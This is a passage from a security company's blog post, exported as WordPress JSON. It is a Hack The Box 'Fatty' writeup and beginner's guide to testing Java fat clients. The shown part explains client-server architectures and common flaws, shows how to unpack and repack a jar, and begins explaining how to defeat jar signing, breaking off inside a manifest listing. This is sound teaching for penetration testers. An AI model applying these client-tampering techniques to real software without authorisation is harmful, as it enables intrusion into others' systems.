{"id":16531,"date":"2020-08-08T16:30:00","date_gmt":"2020-08-08T14:30:00","guid":{"rendered":"https:\/\/herolab-usd.formwandler.rocks\/hack-the-box-fatty-writeup\/"},"modified":"2021-11-12T13:26:22","modified_gmt":"2021-11-12T12:26:22","slug":"hack-the-box-fatty-writeup","status":"publish","type":"post","link":"https:\/\/herolab.usd.de\/en\/hack-the-box-fatty-writeup\/","title":{"rendered":"Hack The Box: Fatty Writeup"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" admin_label=\"section\" _builder_version=\"4.9.4\" background_color=\"#1F262E\" custom_padding=\"0px|0px|0px|0px|true|true\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\" width=\"100%\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p><span>Back in the year 2019, usd HeroLab consultant and security researcher Tobias Neitzel (<\/span><a href=\"https:\/\/twitter.com\/qtc_de\" target=\"_blank\" rel=\"noreferrer noopener\">@qtc_de<\/a><span>) created\u00a0<\/span><em>Fatt<\/em><span>y, a vulnerable Machine that he submitted to\u00a0<\/span><a href=\"https:\/\/www.hackthebox.eu\/\" title=\"https:\/\/www.hackthebox.eu\" target=\"_blank\" rel=\"noopener noreferrer\">Hack The Box<\/a><span>.\u00a0<\/span><em>Fatty<span>\u00a0<\/span><\/em><span>was released at the beginning of 2020 and focuses on<\/span><em><span>\u00a0<\/span>fat client<\/em><span>\u00a0exploitation. In this post, we release the writeup that Tobias created for his initial box submission. It also contains a beginners guide on how to tackle\u00a0<\/span><em>fat clients<\/em><span>\u00a0during a security assessment. Want to improve your\u00a0<\/span><em>fat client<\/em><span>\u00a0assessment skills? Then make sure to read on!<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<h2>Table of Contents<\/h2>\n<ul>\n<li><a href=\"#description\" title=\"#description\">1.0 \u2013 Description<\/a><\/li>\n<li><a href=\"#introduction\" title=\"#introduction\">2.0 \u2013 A Gentle Introduction to Fat Client Penetration Tests<\/a>\n<ul>\n<li><a href=\"#fat-client-architectures\" title=\"#fat-client-architectures\">2.1 \u2013 Fat Client Architectures<\/a><\/li>\n<li><a href=\"#fat-client-vulnerabilities\" title=\"#fat-client-vulnerabilities\">2.2 \u2013 Typical Fat Client Vulnerabilities<\/a><\/li>\n<li><a href=\"#getting-started\" title=\"#getting-started\">2.3 \u2013 Getting Started<\/a>\n<ul>\n<li><a href=\"#getting-the-client-running\" title=\"#getting-the-client-running\">2.3.1 \u2013 Getting the Client Running<\/a><\/li>\n<li><a href=\"#defeating-signed-jars\" title=\"#defeating-signed-jars\">2.3.2 \u2013 Defeating Signed Jars<\/a><\/li>\n<li><a href=\"#intercepting-network-traffic\" title=\"#intercepting-network-traffic\">2.3.3 \u2013 Intercepting the Network Traffic<\/a><\/li>\n<li><a href=\"#decompiling-the-client\" title=\"#decompiling-the-client\">2.3.4 \u2013 Decompiling the Client<\/a><\/li>\n<li><a href=\"#building-own-client\">2.3.5 \u2013 Building a own Client<\/a><\/li>\n<li><a href=\"#patching-classes\" title=\"#patching-classes\">2.3.6 \u2013 Patching Classes<\/a><\/li>\n<li><a href=\"#defeating-sealed-jars\" title=\"#defeating-sealed-jars\">2.3.7 \u2013 Defeating Sealed Jars<\/a><\/li>\n<li><a href=\"#spring-framework\" title=\"#spring-framework\">2.3.8 \u2013 The Spring Framework<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#fat-client-conclusions\" title=\"#fat-client-conclusions\">2.4 \u2013 Fat Client Conclusions<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#user-on-fatty\" title=\"#user-on-fatty\">3.0 \u2013 Getting User on Fatty<\/a>\n<ul>\n<li><a href=\"#enumeration\" title=\"#enumeration\">3.1 \u2013 Starting Enumeration<\/a><\/li>\n<li><a href=\"#running-fatty\" title=\"#running-fatty\">3.2 \u2013 Getting Fatty Running<\/a><\/li>\n<li><a href=\"#exploring-the-client\" title=\"#exploring-the-client\">3.3 \u2013 Exploring the Client<\/a><\/li>\n<li><a href=\"#inspecting-network-traffic\" title=\"#inspecting-network-traffic\">3.4 \u2013 Inspecting the Network Traffic<\/a><\/li>\n<li><a href=\"#decompiling-fatty\" title=\"#decompiling-fatty\">3.5 \u2013 Decompiling Fatty<\/a><\/li>\n<li><a href=\"#own-fatty-client\">3.6 \u2013 Building your own Fatty Client<\/a><\/li>\n<li><a href=\"#ready-for-takeof\" title=\"#ready-for-takeof\">3.7 \u2013 Ready for Take of<\/a><\/li>\n<li><a href=\"#off-by-one\" title=\"#off-by-one\">3.8 \u2013 Off by One<\/a><\/li>\n<li><a href=\"#sql-injection\" title=\"#sql-injection\">3.9 \u2013 The SQL Injection<\/a><\/li>\n<li><a href=\"#final-punch\" title=\"#final-punch\">3.10 \u2013 The final Punch<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#escalating-to-root\" title=\"#escalating-to-root\">4.0 \u2013 Escalating to root<\/a>\n<ul>\n<li><a href=\"#odd-services\" title=\"#odd-services\">4.1 \u2013 Odd Services<\/a><\/li>\n<li><a href=\"#strange-tar\" title=\"#strange-tar\">4.2 \u2013 Some Strange Behavior of tar<\/a><\/li>\n<li><a href=\"#root-shell\" title=\"#root-shell\">4.3 \u2013 Obtaining the root Shell<\/a><\/li>\n<\/ul>\n<\/li>\n<li><a href=\"#conclusions\" title=\"#conclusions\">5.0 \u2013 Conclusions<\/a><\/li>\n<\/ul>\n<p>[\/et_pb_text][et_pb_text module_id=\"description\" _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h2 id=\"description\">1.0 \u2013 Description<\/h2>\n<p>In this writeup I will demonstrate how one can solve the<span>\u00a0<\/span><em>Fatty<span>\u00a0<\/span><\/em>machine, which implements a vulnerable<span>\u00a0<\/span><em>Java fat client<\/em><span>\u00a0<\/span>and the corresponding application server. At the beginning of my career I never even heard the term<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>and started with absolutely zero knowledge. Compared to other areas of pentesting,<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>pentests feeled quite overwhelming and it was hard to get into it. However, once you understand some basic concepts,<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>pentests probably become your favorite kind of tests, since they provide a lot of interesting attack vectors.<\/p>\n<p>With<span>\u00a0<\/span><em>Fatty<\/em>, I tried to implement a vulnerable<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>that is not too hard, but still teaches some valuable concepts of fat client penetration tests. To be honest, I\u2019m far from being a great developer and never really programmed graphical user interfaces in<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>before. Therefore, many parts of the code may look weird to an experienced<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>developer, but from my experience I can tell you that encountering weird code during a<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>assessment is quite common.<\/p>\n<p>In this writeup I want not only to demonstrate the actual machine solution, but also provide a short introduction on how to engage<span>\u00a0<\/span><em>fat clients<\/em>. I hope that this document supports other penetration testers to get started with<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>and helps to make these kind of applications more secure. Providing an introduction to<span>\u00a0<\/span><em>Java fat clients<\/em><span>\u00a0<\/span>is of course only a small part of the actual field, since<em><span>\u00a0<\/span>fat clients<\/em><span>\u00a0<\/span>assessments of applications written in e.g.<span>\u00a0<\/span><em>C++<\/em><span>\u00a0<\/span>is a whole different story. However, some of the concepts we will talk about can also be useful for other kinds of<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>and may help you in different situations.<\/p>\n<p>If you are already familar with<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>testing and want to see the actual machine solution, feel free to skip the next chapter.<\/p>\n<p>[\/et_pb_text][et_pb_text module_id=\"introduction\" _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h2 id=\"introduction\">2.0 \u2013 A Gentle Introduction to Fat Client Penetration Tests<\/h2>\n<p>At first, we should specify what we actually mean then talking about a<span>\u00a0<\/span><em>fat client<\/em>. The term<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>has several different definitions, from more general to very specific once. For this post, a<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>is some kind of executable file (<em>elf<\/em>,<span>\u00a0<\/span><em>exe<\/em>,<span>\u00a0<\/span><em>jar<\/em>, \u2026) that, after its execution, spawns a graphical user interface. There are of course exceptions and also other kinds of applications that could be counted as fat clients, but the definition above is sufficient for this introduction. Furthermore, we will focus on<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>that communicate with a remote server.<\/p>\n<p>The actual testing methodologies can strongly diverge depending on the underlying technology of the<em><span>\u00a0<\/span>fat client<\/em>. For<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>or .<em>NET<span>\u00a0<\/span><\/em>clients, you can use<span>\u00a0<\/span><em>decompilers<span>\u00a0<\/span><\/em>to recover the original code in an almost one to one fashion. Furthermore, it is quite easy to insert modifications or to setup your own client skeleton. On the other hand, for clients written in other languages like<span>\u00a0<\/span><em>C++<\/em>, such a detailed<span>\u00a0<\/span><em>decompilation<span>\u00a0<\/span><\/em>is not possible and you have to apply different techniques to efficiently engage such clients. In this document we will focus on<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>written in<span>\u00a0<\/span><em>Java<\/em>.<\/p>\n<p>[\/et_pb_text][et_pb_text module_id=\"introduction\" _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h3 id=\"fat-client-architectures\">2.1 \u2013 Fat Client Architectures<\/h3>\n<p>While the actual graphical user interface strongly depends on the purpose and design decisions of the<span>\u00a0<\/span><em>fat client<\/em>, the different communication models between a<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>and its application server often match one of three different architectures:<\/p>\n<p><strong>Two-Tier Architecture<\/strong><\/p>\n<p>In a two-tier architecture the<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>directly communicates with the service that is responsible for data storage. In most cases, this is some kind of database, but also other technologies like<span>\u00a0<\/span><em>FTP<span>\u00a0<\/span><\/em>or<span>\u00a0<\/span><em>SMB<span>\u00a0<\/span><\/em>servers can be found. A diagram of this architecture could look like this:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/01.png\" title_text=\"01\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p>Such an architecture is very difficult to secure, because the fat client needs direct access to the resource server. In context of databases, this means that the fat client needs a valid database account. Usually, this is realized by one of the following ways:<\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol>\n<li><strong>Hard Coded Database Account<\/strong><span>\u00a0<\/span>\u2013 In this implementation, the database credentials for a high privileged user account are hard coded inside the<span>\u00a0<\/span><em>fat client<\/em>. On client startup, the hard coded credentials are used to connect to the database and a login prompt is displayed to the actual user. After the user has entered his credentials, the existing database connection is used to validate the credentials of the user and to obtain his role inside the fat client. The graphical user interface of the client is then adopted according to the role that was received from the database server. If one wants again to draw a diagram of this situation, it could look like this:<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/02.png\" title_text=\"02\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p>It should be obvious that such an implementation is always insecure. Even the application may provides different user accounts with different roles, all database queries run with the permissions of the same high privileged database account. Attackers can try to extract the database credentials from the client and connect to the database directly, or they can try to manipulate the client in order to execute arbitrary<span>\u00a0<\/span><em>SQL<span>\u00a0<\/span><\/em>queries.<\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol start=\"2\">\n<li><strong>Multiple Database Accounts<\/strong><span>\u00a0<\/span>\u2013 This setup is often used in<span>\u00a0<\/span><em>Active Directory<\/em><span>\u00a0<\/span>environments, where<span>\u00a0<\/span><em>AD<span>\u00a0<\/span><\/em>credentials are used to authenticate to the<span>\u00a0<\/span><em>fat client<\/em>. In this case, each<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>user does also get access to the database server with his own account and the corresponding set of permissions. A diagram of this situation could look like this:<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/03.png\" title_text=\"03\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p>Theoretically, this kind of setup can be secure, since users are only allowed to perform actions that are enabled for their corresponding database role. However, securing a database server for privilege escalation attacks can be difficult too and allowing direct database access for each fat client user can still be a risk.<\/p>\n<p><strong>Three-Tier Architecture<\/strong><\/p>\n<p>A three-tier architecture is definitely the preferred way and allows to implement<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>more easily. Like the name already suggests, in this kind of architecture you have an additional layer between<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>and<span>\u00a0<\/span><em>database<\/em>\/<em>FTP<\/em>\/<em>SMB<span>\u00a0<\/span><\/em>server. This is usually realized by an application server and the corresponding diagram looks like this:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2021\/07\/04.png\" title_text=\"04\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"]<\/p>\n<p><span>The big advantage of this architecture is, that the application server can handle access control and filtering in front of the storage backend. This helps to prevent a large amount of possible attacks and is also more flexible. Unfortunately, just having an application server in between does not make a<\/span><em><span>\u00a0<\/span>fat client<\/em><span>\u00a0automatically secure. These servers can still contain vulnerabilities like<\/span><em><span>\u00a0<\/span>broken access control<\/em><span>,<\/span><em><span>\u00a0<\/span>SQL injections<\/em><span>,\u00a0<\/span><em>path traversals<\/em><span>, \u2026.<\/span><\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h3 id=\"fat-client-vulnerabilities\">2.2 \u2013 Typical Fat Client Vulnerabilities<\/h3>\n<p>Like mentioned above, the application server in a three-tier architecture can be vulnerable to a lot of different vulnerability classes. However, most of the time all of them are caused by the same simple implementation mistake:<span>\u00a0<\/span><em>A trust relationship between client and server<\/em>.<\/p>\n<p>When talking about webapplications, most developers today are aware that all input the server receives is fully controlled by the application user. With tools like<span>\u00a0<\/span><em>BurpSuite<span>\u00a0<\/span><\/em>it is easy to intercept and modify<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>requests, which allows a fair amount of possible attacks. Furthermore, by modifying<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>responses it is often possible to enable functionality that is disabled inside the ordinary user interface (e.g. admin related functions).<\/p>\n<p>For<span>\u00a0<\/span><em>fat clients<\/em>, this awareness of untrusted input is far behind. Since<span>\u00a0<\/span><em>fat clients<\/em><span>\u00a0<\/span>spawn a graphical user interface that is often more complex than a simple webapp and often use proprietary binary protocols for client server communication, it is harder to imagine that input arriving on the server could be tainted. And here starts the story of many fat client vulnerabilities like:<\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol>\n<li><strong>Broken Access Control<\/strong><span>\u00a0<\/span>\u2013 This is by far the most typical vulnerability inside of<span>\u00a0<\/span><em>fat clients<\/em>. Different user roles get usually displayed a different user interface, where certain functionality is disabled for lower privileged user accounts. But disabling these functionalities inside the client is insufficient to prevent low privileged users from calling them. Once you have control over the client server communication, you can invoke any method you want on the application server. If access control is only enforced on the client side, this usually leads to critical vulnerabilities.<\/li>\n<li><strong>Insufficient Filtering<\/strong><span>\u00a0<\/span>\u2013 Consider a client that allows you to access files on the application server. Often such clients represent electable files as icons that can be opened by double-clicking them. In the underlying implementation, the client probably sends the filename to the server and since this action is induced by clicking an icon, it seems like users are unable to control the filename. But again, once you control the client server communication, you can modify the path manually. This often allows access to the whole file system, by using path traversal attacks.<\/li>\n<li><strong>Debugging Methods<\/strong><span>\u00a0<\/span>\u2013 Many application servers implement some debugging methods. These can only be accessed by a special debugging client, that implements calls for these specific methods. Since the ordinary user client does not even implement these methods, it seems like they are secured. However, once an attacker gets knowledge of these methods and again controls the client server communication, also these methods can be called.<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>We could continue the list with<span>\u00a0<\/span><em>SQLi<\/em>,<span>\u00a0<\/span><em>insecure deserialization<\/em><span>\u00a0<\/span>and other vulnerabilities, but I guess the message is clear: Also input generated by a<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>cannot be trusted! For this reason, the main goal during a<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>assessment is to get control over the communication channel between client and server. This can be more or less difficult. There are basically two different scenarios:<\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol>\n<li>The fat client communicates with the server using a known protocol like<span>\u00a0<\/span><em>HTTP<span>\u00a0<\/span><\/em>or<span>\u00a0<\/span><em>XML<\/em>. In this case, setting up an interceptor like<span>\u00a0<\/span><em>BurpSuite<span>\u00a0<\/span><\/em>is often sufficient to intercept and modify the traffic between client and server.<\/li>\n<li>The<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>uses some unknown protocol with encryption, signing and other stuff. In these situations, intercepting and manipulating network traffic is often not sufficient and you will need to build your own client implementation. Wait, we have to write our own fat client? Yes, kind of, but it sounds harder as it is. By looking at the decompiled client code, you can figure out how the actual<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>is setting up the communication channel. This connection setup needs to be implemented by your own<span>\u00a0<\/span><em>Java<span>\u00a0<\/span><\/em>code. We talk about this process in more detail in a later chapter (2.3.5 \u2013<span>\u00a0<\/span><em>Building Your Own Client<\/em>).<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.4\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h3 id=\"getting-started\">2.3 \u2013 Getting Started<\/h3>\n<p>For the rest of this chapter we assume that we were given a<span>\u00a0<\/span><em>fat client<span>\u00a0<\/span><\/em>application by our customer. The<span>\u00a0<\/span><em>fat client<\/em><span>\u00a0<\/span>ships as a single<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file and we have to perform a security assessment on it. So how do we start?<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.11.3\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h4 id=\"getting-the-client-running\">2.3.1 \u2013 Getting the Client Running<\/h4>\n<p>The most obvious thing you should do when testing a<em><span>\u00a0<\/span>fat client<\/em><span>\u00a0<\/span>is to get the client running. Without knowing what the client is actually doing and how the user interface looks like, the identification of attack vectors can be difficult. Therefore, make sure that the unmodified client is running on your local system. But sometimes this is already your first problem. Security assessments are often performed in dedicated testing environments and while the application server and database may have moved to this new environment, the client was left unpatched and still tries to connect to the production environment. In such situations, you have to modify the provided<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file yourself e.g. to change some values in a certain<span>\u00a0<\/span><em>.properties<\/em><span>\u00a0<\/span>or .<em>xml<span>\u00a0<\/span><\/em>file. Luckily,<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>files can be easily unpacked, modified and packed again. All of this can be done by using just the<span>\u00a0<\/span><code>zip<\/code><span>\u00a0<\/span>and<span>\u00a0<\/span><code>unzip<\/code><span>\u00a0<\/span>utilities:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll enlighter-show-rawcode\">\n<div class=\"enlighter-raw\">pentester@kali$ mkdir output pentester@kali$ unzip example.jar -d output # make modifications to files in output pentester@kali$ cd output; zip -r -0 example.jar *; cd - pentester@kali$ mv output\/example.jar .<\/div>\n<\/div>\n<p>The<span>\u00a0<\/span><code>-0<\/code><span>\u00a0<\/span>flag can be a pitfall since it is required to generate a working<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file again. However, then following the above instructions, you should be able to patch simple configuration files inside a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file quite easily.<\/p>\n<h4 id=\"defeating-signed-jars\">2.3.2 \u2013 Defeating Signed Jars<\/h4>\n<p>When unpacking, modifying and re-packing a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file, there is one additional obstacle that might be in place and this is<span>\u00a0<\/span><code>jar-signing<\/code>. Digital signatures are widely used in information security and also<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>files are no exception. To provide protection from malicious modifications,<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>files can additionally be signed to proof their integrity. If you use the above mentioned approach to modify a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file that is signed, execution of the re-packed<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file will fail, since the signatures of the modified files will no longer match. If you try to execute a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file with a broken signature, you should see an error message like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll\">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">pentester@kali$ java -jar signed-jar.jar<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Exception<\/span><span class=\"enlighter-text\"> in thread <\/span><span class=\"enlighter-s0\">\"AWT-EventQueue-1\"<\/span><span class=\"enlighter-text\"> org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing <\/span><span class=\"enlighter-e3\">XML<\/span><span class=\"enlighter-text\"> document from class path resource <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">beans.xml<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-c0\">; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">XmlBeanDefinitionReader.java:<\/span><span class=\"enlighter-n1\">419<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">XmlBeanDefinitionReader.java:<\/span><span class=\"enlighter-n1\">336<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">XmlBeanDefinitionReader.java:<\/span><span class=\"enlighter-n1\">304<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">AbstractBeanDefinitionReader.java:<\/span><span class=\"enlighter-n1\">188<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">AbstractBeanDefinitionReader.java:<\/span><span class=\"enlighter-n1\">224<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">AbstractBeanDefinitionReader.java:<\/span><span class=\"enlighter-n1\">195<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">AbstractBeanDefinitionReader.java:<\/span><span class=\"enlighter-n1\">257<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">...<\/span><span class=\"enlighter-g1\">]<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The details of this error message are of course different for different applications, but the core error message<span>\u00a0<\/span><code>SHA-256 digest error for \u2026<\/code><span>\u00a0<\/span>should be roughly the same. Errors that are related to signing and cryptography look always scary, but for<span>\u00a0<\/span><em>jar-signing<\/em><span>\u00a0<\/span>this is not true and it is very easy to get the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file running again.<\/p>\n<p>We have already seen that a<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file is basically just a<span>\u00a0<\/span><em>zip-archive<\/em>. Therefore, creating and validating signatures of<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>files is not done by any magic procedure that is hidden from the end user. Instead, the archive just contains a file that stores a signature for each resource contained in the archive. This file is the well known<span>\u00a0<\/span><code>MANIFEST.MF<\/code><span>\u00a0<\/span>file, that also stores other information about the<span>\u00a0<\/span><em>.jar<\/em><span>\u00a0<\/span>file:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">Manifest-Version: 1.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Archiver-Version: Plexus Archiver<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Created-By: Apache Maven<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Built-By: root<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Build-Jdk: 1.8.0_212<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Main-Class: example.Class<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Name: <\/span><span class=\"enlighter-e3\">META<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-e3\">INF<\/span><span class=\"enlighter-text\">\/maven\/org.slf4j\/slf4j-log4j12\/pom.properties<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">256<\/span><span class=\"enlighter-text\">-Digest: miPHJ+Y50c4aqIcmsko7Z\/hdj03XNhHx3C\/pZbEp4Cw=<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Name: org\/springframework\/jmx\/export\/metadata\/ManagedOperationParameter.class<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-e3\">SHA<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-n1\">256<\/span><span class=\"enlighter-text\">-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf\/FD9h2AMOntcgw=<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span 